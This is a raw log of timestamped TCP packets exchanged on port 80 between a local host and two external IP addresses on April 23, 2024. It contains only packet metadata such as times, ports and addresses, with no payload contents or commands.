Apr 23, 2024 09:38:04.501857996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501864910 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501893997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501909018 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501930952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501940012 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.501967907 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.501974106 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502003908 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502017021 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502084970 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502096891 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502121925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502130032 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502157927 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502191067 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502194881 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502209902 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502232075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502259970 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502266884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502275944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502304077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502311945 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502340078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502373934 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502376080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502401114 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502410889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502418995 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502446890 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502481937 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502492905 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502518892 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502523899 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502554893 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502568007 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502589941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502599001 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502625942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502638102 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502661943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502669096 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502696991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502711058 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502734900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502737045 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502772093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502787113 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502808094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502842903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502856970 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502880096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502888918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502914906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502927065 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502950907 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.502959013 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.502986908 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503000021 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503021955 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503031015 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503057957 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503083944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503093958 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503099918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503129005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503165007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503182888 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503201962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503206968 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503237963 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503249884 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503273964 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503283978 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503309965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503323078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503345013 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503380060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503386974 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503415108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503439903 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503449917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503473997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503487110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503493071 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503524065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503530979 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503560066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503566027 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503596067 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503606081 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503633976 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503647089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503669977 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503695011 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503705978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503710985 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503742933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503748894 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503777981 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503794909 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503814936 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503823042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503850937 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503871918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503886938 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503906965 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503923893 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503933907 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503959894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.503967047 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.503995895 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504009962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504030943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504034042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504066944 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504074097 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504118919 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504121065 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504153967 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504167080 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504189968 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504198074 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504226923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504232883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504261971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504297972 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504309893 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504311085 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504333973 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504339933 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504370928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504385948 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504405975 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504416943 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504441977 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504451036 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504477978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504514933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504522085 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504522085 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504550934 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504586935 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504596949 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504621983 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504637003 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504657030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504671097 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504693985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504702091 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504729986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504738092 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504765987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504780054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504802942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504811049 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504838943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504848957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504874945 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504909992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504924059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504947901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504955053 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.504983902 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.504985094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505018950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505028009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505054951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505064964 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505089998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505103111 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505126953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505137920 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505172014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505179882 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505208969 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505213976 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505244970 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505251884 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505280972 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505292892 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505316973 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505326033 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505352974 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505357981 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505389929 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505397081 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505429029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505429983 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505465984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505470991 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505501986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505510092 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505538940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505564928 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505573988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505589008 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505609989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505621910 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505645990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505656958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505681992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505687952 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505717993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505727053 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505753994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505759954 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505789995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505795956 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505826950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505834103 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505861998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505867958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505898952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505934954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505945921 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.505970001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.505976915 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.506011963 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.506014109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.506051064 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.506059885 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.506087065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.506094933 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.506122112 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.506134033 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.506158113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.506164074 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.506194115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.506200075 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.506231070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.506236076 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.506266117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.506277084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.506304979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.506309032 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.506345987 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.538495064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.538559914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.538572073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.538599968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.538614988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.538655996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.538692951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.538705111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.538731098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.538746119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.538768053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.538795948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.538805008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.538810015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.538842916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.538852930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.538883924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.538903952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.538933992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.739115953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739193916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739198923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739233017 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739273071 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739278078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739278078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739310980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739346981 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739376068 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739398956 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739422083 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739434958 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739451885 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739490986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739506960 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739527941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739563942 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739566088 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739594936 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739602089 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739614964 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739639044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739651918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739675045 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739685059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739712000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739722013 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739748955 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.739761114 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739809990 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.739943981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.739981890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740015030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740020037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740044117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740056992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740065098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740094900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740108013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740147114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740154028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740190983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740204096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740227938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740238905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740264893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740277052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740303040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740313053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740339994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740354061 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740375996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740412951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740444899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740444899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740451097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740467072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740489006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740494967 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740526915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740536928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740565062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740571022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740602016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740607977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740638971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740643024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740679026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:04.740699053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.740735054 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.742465019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.742502928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.742532969 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.742541075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.742568970 CEST	49734	80	192.168.2.4	176.97.76.106
